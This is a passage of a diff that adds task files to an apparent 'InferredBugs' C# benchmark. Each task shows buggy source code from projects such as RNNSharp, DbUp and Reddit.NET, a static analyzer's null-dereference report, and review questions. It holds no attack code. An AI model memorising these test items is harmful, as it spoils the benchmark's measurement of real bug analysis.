+                wDenseCellGate.CleanLearningRate();
+                wDenseForgetGate.CleanLearningRate();
+                wDenseInputGate.CleanLearningRate();
+                wDenseOutputGate.CleanLearningRate();
+            }
+
+            peepholeLearningRate = new Vector3[LayerSize];
+            cellLearningRate = new Vector4[LayerSize];
+
+            vecNormalLearningRate = new Vector4(RNNHelper.LearningRate, RNNHelper.LearningRate, RNNHelper.LearningRate,
+                RNNHelper.LearningRate);
+            vecNormalLearningRate3 = new Vector3(RNNHelper.LearningRate, RNNHelper.LearningRate, RNNHelper.LearningRate);
+
+            vecNormalLearningRateFloat = new Vector<float>(RNNHelper.LearningRate);
+
+            vecMaxGrad = new Vector4(RNNHelper.GradientCutoff, RNNHelper.GradientCutoff, RNNHelper.GradientCutoff,
+                RNNHelper.GradientCutoff);
+            vecMinGrad = new Vector4(-RNNHelper.GradientCutoff, -RNNHelper.GradientCutoff, -RNNHelper.GradientCutoff,
+                -RNNHelper.GradientCutoff);
+
+            vecMaxGrad3 = new Vector3(RNNHelper.GradientCutoff, RNNHelper.GradientCutoff, RNNHelper.GradientCutoff);
+            vecMinGrad3 = new Vector3(-RNNHelper.GradientCutoff, -RNNHelper.GradientCutoff, -RNNHelper.GradientCutoff);
+        }
+
+        // forward process. output layer consists of tag value
+        public override void ForwardPass(SparseVector sparseFeature, float[] denseFeature)
+        {
+            //inputs(t) -> hidden(t)
+            //Get sparse feature and apply it into hidden layer
+            SparseFeature = sparseFeature;
+            DenseFeature = denseFeature;
+
+            for (var j = 0;j < LayerSize;j++)
+            {
+                var cell_j = LSTMCells[j];
+                var cellWeight_j = CellWeights[j];
+
+                //hidden(t-1) -> hidden(t)
+                cell_j.previousCellState = cell_j.cellState;
+                previousCellOutputs[j] = Cells[j];
+
+                var vecCell_j = Vector4.Zero;
+
+                if (SparseFeatureSize > 0)
+                {
+                    //Apply sparse weights
+                    var weights = sparseFeatureWeights[j];
+                    var deri = sparseFeatureToHiddenDeri[j];
+                    foreach (var pair in SparseFeature)
+                    {
+                        vecCell_j += weights[pair.Key] * pair.Value;
+                        if (deri.ContainsKey(pair.Key) == false)
+                        {
+                            deri.Add(pair.Key, new Vector3(0));
+                        }
+                    }
+                }
+
+                if (DenseFeatureSize > 0)
+                {
+                    //Apply dense weights
+                    var k = 0;
+                    float[] denseInputGateWeight_j = wDenseInputGate.weights[j];
+                    float[] denseForgetGateWeight_j = wDenseForgetGate.weights[j];
+                    float[] denseCellGateWeight_j = wDenseCellGate.weights[j];
+                    float[] denseOutputGateWeight_j = wDenseOutputGate.weights[j];
+                    while (k < DenseFeatureSize - Vector<float>.Count)
+                    {
+                        var vX = new Vector<float>(denseInputGateWeight_j, k);
+                        var vY = new Vector<float>(denseForgetGateWeight_j, k);
+                        var vZ = new Vector<float>(denseCellGateWeight_j, k);
+                        var vW = new Vector<float>(denseOutputGateWeight_j, k);
+                        var vFeature = new Vector<float>(DenseFeature, k);
+
+                        vecCell_j.X += Vector.Dot(vX, vFeature);
+                        vecCell_j.Y += Vector.Dot(vY, vFeature);
+                        vecCell_j.Z += Vector.Dot(vZ, vFeature);
+                        vecCell_j.W += Vector.Dot(vW, vFeature);
+
+                        k += Vector<float>.Count;
+                    }
+
+                    while (k < DenseFeatureSize)
+                    {
+                        vecCell_j.X += denseInputGateWeight_j[k] * DenseFeature[k];
+                        vecCell_j.Y += denseForgetGateWeight_j[k] * DenseFeature[k];
+                        vecCell_j.Z += denseCellGateWeight_j[k] * DenseFeature[k];
+                        vecCell_j.W += denseOutputGateWeight_j[k] * DenseFeature[k];
+                        k++;
+                    }
+                }
+
+                //rest the value of the net input to zero
+                cell_j.netIn = vecCell_j.X;
+                cell_j.netForget = vecCell_j.Y;
+                //reset each netCell state to zero
+                cell_j.netCellState = vecCell_j.Z;
+                //reset each netOut to zero
+                cell_j.netOut = vecCell_j.W;
+
+                var cell_j_previousCellOutput = previousCellOutputs[j];
+
+                //include internal connection multiplied by the previous cell state
+                cell_j.netIn += cell_j.previousCellState * cellWeight_j.wPeepholeIn + cell_j_previousCellOutput * cellWeight_j.wCellIn;
+                //squash input
+                cell_j.yIn = Sigmoid(cell_j.netIn);
+
+                //include internal connection multiplied by the previous cell state
+                cell_j.netForget += cell_j.previousCellState * cellWeight_j.wPeepholeForget +
+                                    cell_j_previousCellOutput * cellWeight_j.wCellForget;
+                cell_j.yForget = Sigmoid(cell_j.netForget);
+
+                cell_j.netCellState += cell_j_previousCellOutput * cellWeight_j.wCellState;
+                cell_j.yCellState = TanH(cell_j.netCellState);
+
+                //cell state is equal to the previous cell state multipled by the forget gate and the cell inputs multiplied by the input gate
+                cell_j.cellState = cell_j.yForget * cell_j.previousCellState + cell_j.yIn * cell_j.yCellState;
+
+                ////include the internal connection multiplied by the CURRENT cell state
+                cell_j.netOut += cell_j.cellState * cellWeight_j.wPeepholeOut + cell_j_previousCellOutput * cellWeight_j.wCellOut;
+
+                //squash output gate
+                cell_j.yOut = Sigmoid(cell_j.netOut);
+
+                Cells[j] = (float)(TanH(cell_j.cellState) * cell_j.yOut);
+
+                LSTMCells[j] = cell_j;
+            }
+        }
+
+
+        private void UpdateOutputGateWeights(LSTMGateWeight gateWeight, int i, float err)
+        {
+            var j = 0;
+            float[] learningrate_i = gateWeight.learningRate[i];
+            float[] weights_i = gateWeight.weights[i];
+            while (j < DenseFeatureSize - Vector<float>.Count)
+            {
+                Vector<float> vecDelta = new Vector<float>(DenseFeature, j);
+                vecDelta = vecDelta * err;
+                vecDelta = RNNHelper.NormalizeGradient(vecDelta);
+
+                var wlr_i = new Vector<float>(learningrate_i, j);
+                var vecLearningRate = ComputeLearningRate(vecDelta, ref wlr_i);
+                wlr_i.CopyTo(learningrate_i, j);
+
+                lock (gateWeight.locker[i])
+                {
+                    var w_i = new Vector<float>(weights_i, j);
+                    w_i += vecLearningRate * vecDelta;
+                    w_i.CopyTo(weights_i, j);
+                }
+
+                j += Vector<float>.Count;
+            }
+
+            while (j < DenseFeatureSize)
+            {
+                float delta = DenseFeature[j] * err;
+                delta = RNNHelper.NormalizeGradient(delta);
+                var wlr_i = learningrate_i[j];
+                var learningRate = ComputeLearningRate(delta, ref wlr_i);
+                learningrate_i[j] = wlr_i;
+
+                RNNHelper.LockFreeAdd(weights_i, j, learningRate * delta);
+
+                j++;
+            }
+        }
+
+        private void UpdateGateWeights(LSTMGateWeight gateWeight, int i, float featureDerivate, float c_yForget, float err)
+        {
+            var j = 0;
+            float[] deri_i = gateWeight.deri[i];
+            float[] learningrate_i = gateWeight.learningRate[i];
+            float[] weights_i = gateWeight.weights[i];
+            while (j < DenseFeatureSize - Vector<float>.Count)
+            {
+                var feature = new Vector<float>(DenseFeature, j);
+                var wd = feature * featureDerivate;
+                var wd_i = new Vector<float>(deri_i, j);
+                wd += wd_i * c_yForget;
+                wd.CopyTo(deri_i, j);
+
+                Vector<float> vecDelta = wd * err;
+                vecDelta = RNNHelper.NormalizeGradient(vecDelta);
+
+                //Computing learning rate and update it
+                var wlr_i = new Vector<float>(learningrate_i, j);
+                var vecLearningRate = ComputeLearningRate(vecDelta, ref wlr_i);
+                wlr_i.CopyTo(learningrate_i, j);
+
+                lock (gateWeight.locker[i])
+               {
+                    var w_i = new Vector<float>(weights_i, j);
+                    w_i += vecLearningRate * vecDelta;
+                    w_i.CopyTo(weights_i, j);
+                }
+
+                j += Vector<float>.Count;
+            }
+
+            while (j < DenseFeatureSize)
+            {
+                var wd = DenseFeature[j] * featureDerivate;
+                wd += deri_i[j] * c_yForget;
+                deri_i[j] = wd;
+
+                float delta = wd * err;
+                delta = RNNHelper.NormalizeGradient(delta);
+                var wlr_i = learningrate_i[j];
+                var learningRate = ComputeLearningRate(delta, ref wlr_i);
+                learningrate_i[j] = wlr_i;
+
+                RNNHelper.LockFreeAdd(weights_i, j, learningRate * delta);
+
+                j++;
+            }
+        }
+
+        public override void BackwardPass()
+        {
+            //put variables for derivaties in weight class and cell class
+            for (var i = 0; i < LayerSize; i++)
+            {
+                var c = LSTMCells[i];
+                var cellWeight = CellWeights[i];
+                var cellWeightDeri = CellWeightsDeri[i];
+
+                //using the error find the gradient of the output gate
+                var gradientOutputGate = (float)(SigmoidDerivative(c.netOut) * TanH(c.cellState) * Errs[i]);
+
+                //internal cell state error
+                var cellStateError =
+                    (float)(c.yOut * Errs[i] * TanHDerivative(c.cellState) + gradientOutputGate * cellWeight.wPeepholeOut);
+
+                var vecErr = new Vector4(cellStateError, cellStateError, cellStateError, gradientOutputGate);
+
+                var Sigmoid2_ci_netCellState_mul_SigmoidDerivative_ci_netIn = TanH(c.netCellState) *
+                                                                              SigmoidDerivative(c.netIn);
+                var ci_previousCellState_mul_SigmoidDerivative_ci_netForget = c.previousCellState *
+                                                                              SigmoidDerivative(c.netForget);
+                var Sigmoid2Derivative_ci_netCellState_mul_ci_yIn = TanHDerivative(c.netCellState) * c.yIn;
+
+                var vecDerivate = new Vector3(
+                    (float)Sigmoid2_ci_netCellState_mul_SigmoidDerivative_ci_netIn,
+                    (float)ci_previousCellState_mul_SigmoidDerivative_ci_netForget,
+                    (float)Sigmoid2Derivative_ci_netCellState_mul_ci_yIn);
+                var c_yForget = (float)c.yForget;
+
+                if (SparseFeatureSize > 0)
+                {
+                    //Get sparse feature and apply it into hidden layer
+                    var w_i = sparseFeatureWeights[i];
+                    var wd_i = sparseFeatureToHiddenDeri[i];
+                    var wlr_i = sparseFeatureToHiddenLearningRate[i];
+
+                    foreach (var entry in SparseFeature)
+                    {
+                        var wd = vecDerivate * entry.Value;
+                        //Adding historical information
+                        wd += wd_i[entry.Key] * c_yForget;
+                        wd_i[entry.Key] = wd;
+
+                        //Computing final err delta
+                        var vecDelta = new Vector4(wd, entry.Value);
+                        vecDelta = vecErr * vecDelta;
+                        vecDelta = Vector4.Clamp(vecDelta, vecMinGrad, vecMaxGrad);
+
+                        //Computing actual learning rate
+                        var vecLearningRate = ComputeLearningRate(vecDelta, ref wlr_i[entry.Key]);
+                        lock (lockerSparseFeature[i])
+                        {
+                            w_i[entry.Key] += vecLearningRate * vecDelta;
+                        }
+                    }
+                }
+
+                if (DenseFeatureSize > 0)
+                {
+                    UpdateGateWeights(wDenseInputGate, i, vecDerivate.X, c_yForget, cellStateError);
+                    UpdateGateWeights(wDenseForgetGate, i, vecDerivate.Y, c_yForget, cellStateError);
+                    UpdateGateWeights(wDenseCellGate, i, vecDerivate.Z, c_yForget, cellStateError);
+                    UpdateOutputGateWeights(wDenseOutputGate, i, gradientOutputGate);
+                }
+
+                //Update peephols weights
+                //partial derivatives for internal connections
+                cellWeightDeri.dSWPeepholeIn = cellWeightDeri.dSWPeepholeIn * c.yForget +
+                                  Sigmoid2_ci_netCellState_mul_SigmoidDerivative_ci_netIn * c.previousCellState;
+
+                //partial derivatives for internal connections, initially zero as dS is zero and previous cell state is zero
+                cellWeightDeri.dSWPeepholeForget = cellWeightDeri.dSWPeepholeForget * c.yForget +
+                                      ci_previousCellState_mul_SigmoidDerivative_ci_netForget * c.previousCellState;
+
+                //update internal weights
+                var vecCellDelta = new Vector3((float)cellWeightDeri.dSWPeepholeIn, (float)cellWeightDeri.dSWPeepholeForget, (float)c.cellState);
+                var vecErr3 = new Vector3(cellStateError, cellStateError, gradientOutputGate);
+
+                vecCellDelta = vecErr3 * vecCellDelta;
+
+                //Normalize err by gradient cut-off
+                vecCellDelta = Vector3.Clamp(vecCellDelta, vecMinGrad3, vecMaxGrad3);
+
+                //Computing actual learning rate
+                var vecCellLearningRate = ComputeLearningRate(vecCellDelta, ref peepholeLearningRate[i]);
+
+                vecCellDelta = vecCellLearningRate * vecCellDelta;
+
+                cellWeight.wPeepholeIn += vecCellDelta.X;
+                cellWeight.wPeepholeForget += vecCellDelta.Y;
+                cellWeight.wPeepholeOut += vecCellDelta.Z;
+
+                //Update cells weights
+                var c_previousCellOutput = previousCellOutputs[i];
+                //partial derivatives for internal connections
+                cellWeightDeri.dSWCellIn = cellWeightDeri.dSWCellIn * c.yForget +
+                              Sigmoid2_ci_netCellState_mul_SigmoidDerivative_ci_netIn * c_previousCellOutput;
+
+                //partial derivatives for internal connections, initially zero as dS is zero and previous cell state is zero
+                cellWeightDeri.dSWCellForget = cellWeightDeri.dSWCellForget * c.yForget +
+                                  ci_previousCellState_mul_SigmoidDerivative_ci_netForget * c_previousCellOutput;
+
+                cellWeightDeri.dSWCellState = cellWeightDeri.dSWCellState * c.yForget +
+                                 Sigmoid2Derivative_ci_netCellState_mul_ci_yIn * c_previousCellOutput;
+
+                var vecCellDelta4 = new Vector4((float)cellWeightDeri.dSWCellIn, (float)cellWeightDeri.dSWCellForget, (float)cellWeightDeri.dSWCellState,
+                    c_previousCellOutput);
+                vecCellDelta4 = vecErr * vecCellDelta4;
+
+                //Normalize err by gradient cut-off
+                vecCellDelta4 = Vector4.Clamp(vecCellDelta4, vecMinGrad, vecMaxGrad);
+
+                //Computing actual learning rate
+                var vecCellLearningRate4 = ComputeLearningRate(vecCellDelta4, ref cellLearningRate[i]);
+
+                vecCellDelta4 = vecCellLearningRate4 * vecCellDelta4;
+
+                RNNHelper.LockFreeAdd(ref cellWeight.wCellIn, vecCellDelta4.X);
+                RNNHelper.LockFreeAdd(ref cellWeight.wCellForget, vecCellDelta4.Y);
+                RNNHelper.LockFreeAdd(ref cellWeight.wCellState, vecCellDelta4.Z);
+                RNNHelper.LockFreeAdd(ref cellWeight.wCellOut, vecCellDelta4.W);
+
+                LSTMCells[i] = c;
+            }
+        }
+
+        public override void ComputeLayerErr(SimpleLayer nextLayer)
+        {
+            var layer = nextLayer as LSTMLayer;
+
+            if (layer != null)
+            {
+                for (var i = 0;i < LayerSize;i++)
+                {
+                    var err = 0.0f;
+                    for (var k = 0; k < nextLayer.LayerSize; k++)
+                    {
+                        err += layer.Errs[k] * layer.wDenseOutputGate.weights[k][i];
+                    }
+                    Errs[i] = RNNHelper.NormalizeGradient(err);
+                }
+            }
+            else
+            {
+                base.ComputeLayerErr(nextLayer);
+            }
+        }
+
+        public override void Reset()
+        {
+            for (var i = 0; i < LayerSize; i++)
+            {
+                Cells[i] = 0;
+                InitializeLSTMCell(LSTMCells[i], CellWeights[i], CellWeightsDeri[i]);
+
+                sparseFeatureToHiddenDeri[i].Clear();
+            }
+        }
+
+        private void InitializeLSTMCell(LSTMCell c, LSTMCellWeight cw, LSTMCellWeightDeri deri)
+        {
+            c.previousCellState = 0;
+            c.cellState = 0;
+
+            //partial derivatives
+            deri.dSWPeepholeIn = 0;
+            deri.dSWPeepholeForget = 0;
+
+            deri.dSWCellIn = 0;
+            deri.dSWCellForget = 0;
+            deri.dSWCellState = 0;
+        }
+
+        [MethodImpl(MethodImplOptions.AggressiveInlining)]
+        private Vector3 ComputeLearningRate(Vector3 vecDelta, ref Vector3 vecWeightLearningRate)
+        {
+            vecWeightLearningRate += vecDelta * vecDelta;
+            return vecNormalLearningRate3 / (Vector3.SquareRoot(vecWeightLearningRate) + Vector3.One);
+        }
+
+        [MethodImpl(MethodImplOptions.AggressiveInlining)]
+        private Vector4 ComputeLearningRate(Vector4 vecDelta, ref Vector4 vecWeightLearningRate)
+        {
+            vecWeightLearningRate += vecDelta * vecDelta;
+            return vecNormalLearningRate / (Vector4.SquareRoot(vecWeightLearningRate) + Vector4.One);
+        }
+
+        [MethodImpl(MethodImplOptions.AggressiveInlining)]
+        private Vector<float> ComputeLearningRate(Vector<float> vecDelta, ref Vector<float> vecWeightLearningRate)
+        {
+            vecWeightLearningRate += vecDelta * vecDelta;
+
+            return vecNormalLearningRateFloat / (Vector.SquareRoot(vecWeightLearningRate) + Vector<float>.One);
+
+        }
+
+        [MethodImpl(MethodImplOptions.AggressiveInlining)]
+        private float ComputeLearningRate(float delta, ref float weightLearningRate)
+        {
+            weightLearningRate += delta * delta;
+
+            return (float)(RNNHelper.LearningRate / (Math.Sqrt(weightLearningRate) + 1.0));
+        }
+    }
+
+    public class LSTMCellWeightDeri
+    {
+        public double dSWCellForget;
+        public double dSWCellIn;
+        public double dSWCellState;
+        public double dSWPeepholeForget;
+        public double dSWPeepholeIn;
+    }
+
+
+    public class LSTMCellWeight
+    {
+        //Weights for each gate
+        public double wCellForget;
+        public double wCellIn;
+        public double wCellOut;
+        public double wCellState;
+        public double wPeepholeForget;
+        public double wPeepholeIn;
+        public double wPeepholeOut;
+    }
+
+    public class LSTMCell
+    {
+        //The following fields are only for forward
+        public double previousCellState;
+        public double cellState;
+
+        public double netCellState;
+        public double netForget;
+        public double netIn;
+        public double netOut;
+
+        public double yCellState;
+        public double yForget;
+        public double yIn;
+        public double yOut;
+
+        public LSTMCell()
+        {
+
+        }
+
+        public LSTMCell(LSTMCell cell)
+        {
+            Set(cell);
+        }
+
+        public void Set(LSTMCell cell)
+        {
+            previousCellState = cell.previousCellState;
+            cellState = cell.cellState;
+            netCellState = cell.netCellState;
+            netForget = cell.netForget;
+            netIn = cell.netIn;
+            netOut = cell.netOut;
+            yCellState = cell.yCellState;
+            yForget = cell.yForget;
+            yIn = cell.yIn;
+            yOut = cell.yOut;
+        }
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `lstmNeuron` last assigned on line 155 could be null and is dereferenced at line 157, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Neuron LSTMLayer.CopyNeuronTo(Neuron)
+
+### File:
+RNNSharp/Layers/LSTMLayer.cs
+
+### Key:
+LSTMLayer.cs|CopyNeuronTo|NULL_DEREFERENCE
+
+### Node Key:
+2cefdf467be5b2a12ba8e1652fa299d8
+
+### Hash:
+af1be7f713064147bf696eb9f2782ce1
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2499/instruction.md b/inferredbugs-2499/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fc95e6499ba10a75b38c8e1d4b2433a16c0832d7
--- /dev/null
+++ b/inferredbugs-2499/instruction.md
@@ -0,0 +1,91 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** DbUp
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using DbUp.Specification.Contexts;
+using System.Collections.Generic;
+using DbUp.ScriptProviders;
+using NSubstitute;
+using System.Linq;
+using NUnit.Framework;
+
+namespace DbUp.Specification
+{
+	public class GivenAnUptoDateDatabase : EmptyDatabase
+	{
+        public override void BeforeEach()
+        {
+            base.BeforeEach();
+            var executedScripts = new[] { "0001.sql", "0002.sql", "0004.sql" };
+            AllScripts = new List<SqlScript>()
+            {
+                new SqlScript("0001.sql", ""),
+                new SqlScript("0004.sql", ""),
+                new SqlScript("0002.sql", "")
+            };
+
+            ScriptProvider.GetScripts().Returns(AllScripts);
+            VersionTracker.GetExecutedScripts(ConnectionString, Log).Returns(executedScripts);
+        }
+	}
+}
+
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `String.DbUp.Specification.Contexts.EmptyDatabase.ScriptProvider` last assigned on line 15 could be null and is dereferenced at line 24, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void GivenAnUptoDateDatabase.BeforeEach()
+
+### File:
+src/DbUp.Specification/Contexts/GivenAnUptoDateDatabase.cs
+
+### Key:
+GivenAnUptoDateDatabase.cs|BeforeEach|NULL_DEREFERENCE
+
+### Node Key:
+250c82d3e13b6496ba3bdbdf1e45a551
+
+### Hash:
+32ed4be439dc36c3835db2b2c019236a
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2518/instruction.md b/inferredbugs-2518/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b17b6665318814cb6c01619b9b0bdaf7a3539e19
--- /dev/null
+++ b/inferredbugs-2518/instruction.md
@@ -0,0 +1,168 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Reddit.NET
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Newtonsoft.Json;
+using Newtonsoft.Json.Linq;
+using Reddit.NET.Models.Structures;
+using RestSharp;
+using RestSharp.Authenticators;
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace Reddit.NET.Models
+{
+    public abstract class BaseModel
+    {
+        internal string AccessToken;
+        private readonly string RefreshToken;
+
+        internal abstract RestClient RestClient { get; set; }
+
+        public BaseModel(string refreshToken, string accessToken, RestClient restClient)
+        {
+            this.RefreshToken = refreshToken;
+            this.AccessToken = accessToken;
+            this.RestClient = restClient;
+        }
+
+        public RestRequest PrepareRequest(string url, Method method)
+        {
+            RestRequest restRequest = new RestRequest(url, method);
+
+            return PrepareRequest(restRequest);
+        }
+
+        public RestRequest PrepareRequest(string url, Method method, List<Parameter> parameters)
+        {
+            RestRequest restRequest = PrepareRequest(url, method);
+
+            foreach (Parameter param in parameters)
+            {
+                if (!param.Name.Equals("Authorization", StringComparison.OrdinalIgnoreCase))
+                {
+                    restRequest.AddParameter(param);
+                }
+            }
+
+            return restRequest;
+        }
+
+        public RestRequest PrepareRequest(RestRequest restRequest)
+        {
+            restRequest.AddHeader("Authorization", "bearer " + AccessToken);
+
+            return restRequest;
+        }
+
+        public string ExecuteRequest(string url, Method method)
+        {
+            return ExecuteRequest(PrepareRequest(url, method));
+        }
+
+        public string ExecuteRequest(RestRequest restRequest)
+        {
+            IRestResponse res = RestClient.Execute(restRequest);
+            int retry = 5;
+            while ((res == null || !res.IsSuccessful)
+                && retry > 0)
+            {
+                /*
+                 * If it fails and we have a refresh token, request a new access token and retry.
+                 * Note that this workflow will not work if you pass an empty access token, as the Reddit API will still return 200 on those requests.
+                 * Therefore, if you just want to get a new access token from refresh, pass an arbitrary string value instead of null.
+                 * 
+                 * --Kris
+                 */
+                if (RefreshToken != null
+                    && (res.StatusCode == System.Net.HttpStatusCode.BadRequest
+                        || res.StatusCode == System.Net.HttpStatusCode.Unauthorized
+                        || res.StatusCode == System.Net.HttpStatusCode.Forbidden))
+                {
+                    RestClient keyCli = new RestClient("https://www.reddit.com");
+                    RestRequest keyReq = new RestRequest("/api/v1/access_token", Method.POST);
+
+                    keyReq.AddHeader("Authorization", "Basic " + Convert.ToBase64String(Encoding.UTF8.GetBytes("g19SDjZfOCq6mg:")));
+                    keyReq.AddHeader("Content-Type", "application/x-www-form-urlencoded");
+                    
+                    keyReq.AddParameter("grant_type", "refresh_token");
+                    keyReq.AddParameter("refresh_token", RefreshToken);
+
+                    IRestResponse keyRes = keyCli.Execute(keyReq);
+                    if (keyRes != null && keyRes.IsSuccessful)
+                    {
+                        JObject tokenData = JsonConvert.DeserializeObject<JObject>(keyRes.Content);
+                        AccessToken = tokenData.GetValue("access_token").ToString();
+                        
+                        restRequest = PrepareRequest(restRequest.Resource, restRequest.Method, restRequest.Parameters);
+                    }
+                }
+
+                res = RestClient.Execute(restRequest);
+
+                retry--;
+            }
+
+            return (res != null && res.IsSuccessful ? res.Content : null);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `res` last assigned on line 62 could be null and is dereferenced at line 74, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
+String BaseModel.ExecuteRequest(RestRequest)
+
+### File:
+src/Reddit.NET/Models/BaseModel.cs
+
+### Key:
+BaseModel.cs|ExecuteRequest|NULL_DEREFERENCE
+
+### Node Key:
+c16cc1d2b5bc88a6c7c2310f1d47f089
+
+### Hash:
+489e73cfe91cdd1160d4ca54c236ff0e
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2520/instruction.md b/inferredbugs-2520/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0e8cfb018f47ccc268c234446ebf31ddfef57c03
--- /dev/null
+++ b/inferredbugs-2520/instruction.md
@@ -0,0 +1,196 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Reddit.NET
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Newtonsoft.Json;
+using Newtonsoft.Json.Linq;
+using Reddit.NET.Models.Structures;
+using RestSharp;
+using RestSharp.Authenticators;
+using System;
+using System.Collections.Generic;
+using System.Net;
+using System.Text;
+
+namespace Reddit.NET.Models
+{
+    public abstract class BaseModel
+    {
+        private readonly string AppId;
+        internal string AccessToken;
+        private readonly string RefreshToken;
+
+        internal abstract RestClient RestClient { get; set; }
+
+        public BaseModel(string appId, string refreshToken, string accessToken, RestClient restClient)
+        {
+            this.AppId = appId;
+            this.AccessToken = accessToken;
+            this.RefreshToken = refreshToken;
+            this.RestClient = restClient;
+        }
+
+        public RestRequest PrepareRequest(string url, Method method = Method.GET)
+        {
+            RestRequest restRequest = new RestRequest(url, method);
+
+            return PrepareRequest(restRequest);
+        }
+
+        public RestRequest PrepareRequest(string url, Method method, List<Parameter> parameters)
+        {
+            RestRequest restRequest = PrepareRequest(url, method);
+
+            foreach (Parameter param in parameters)
+            {
+                if (!param.Name.Equals("Authorization", StringComparison.OrdinalIgnoreCase))
+                {
+                    restRequest.AddParameter(param);
+                }
+            }
+            
+            return restRequest;
+        }
+
+        public RestRequest PrepareRequest(RestRequest restRequest)
+        {
+            restRequest.AddHeader("Authorization", "bearer " + AccessToken);
+            //restRequest.AddHeader("User-Agent", "Reddit.NET");
+
+            if (restRequest.Method == Method.POST || restRequest.Method == Method.PUT)
+            {
+                restRequest.AddHeader("Content-Type", "application/x-www-form-urlencoded");
+            }
+
+            return restRequest;
+        }
+
+        public string ExecuteRequest(string url, Method method = Method.GET)
+        {
+            return ExecuteRequest(PrepareRequest(url, method));
+        }
+
+        public string ExecuteRequest(RestRequest restRequest)
+        {
+            IRestResponse res = RestClient.Execute(restRequest);
+            int retry = 5;
+            while ((res == null || !res.IsSuccessful)
+                && retry > 0)
+            {
+                /*
+                 * If it fails and we have a refresh token, request a new access token and retry.
+                 * Note that this workflow will not work if you pass an empty access token, as the Reddit API will still return 200 on those requests.
+                 * Therefore, if you just want to get a new access token from refresh, pass an arbitrary string value instead of null.
+                 * 
+                 * --Kris
+                 */
+                if (RefreshToken != null
+                    && (res.StatusCode == System.Net.HttpStatusCode.BadRequest
+                        || res.StatusCode == System.Net.HttpStatusCode.Unauthorized))
+                {
+                    RestClient keyCli = new RestClient("https://www.reddit.com");
+                    RestRequest keyReq = new RestRequest("/api/v1/access_token", Method.POST);
+
+                    keyReq.AddHeader("Authorization", "Basic " + Convert.ToBase64String(Encoding.UTF8.GetBytes(AppId + ":")));
+                    keyReq.AddHeader("Content-Type", "application/x-www-form-urlencoded");
+                    
+                    keyReq.AddParameter("grant_type", "refresh_token");
+                    keyReq.AddParameter("refresh_token", RefreshToken);
+
+                    IRestResponse keyRes = keyCli.Execute(keyReq);
+                    if (keyRes != null && keyRes.IsSuccessful)
+                    {
+                        AccessToken = JsonConvert.DeserializeObject<JObject>(keyRes.Content).GetValue("access_token").ToString();
+                        restRequest = PrepareRequest(restRequest.Resource, restRequest.Method, restRequest.Parameters);
+                    }
+                }
+
+                res = RestClient.Execute(restRequest);
+
+                retry--;
+            }
+
+            if (res == null)
+            {
+                throw new WebException("Reddit API returned null response.");
+            }
+            else if (!res.IsSuccessful)
+            {
+                WebException ex = new WebException("Reddit API returned non-success response.");
+
+                ex.Data.Add("StatusCode", res.StatusCode);
+                ex.Data.Add("StatusDescription", res.StatusDescription);
+                ex.Data.Add("res", res);
+
+                throw ex;
+            }
+            else
+            {
+                return res.Content;
+            }
+        }
+
+        public string Sr(string subreddit)
+        {
+            return (!string.IsNullOrWhiteSpace(subreddit) ? "/r/" + subreddit + "/" : "");
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `res` last assigned on line 71 could be null and is dereferenced at line 83, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
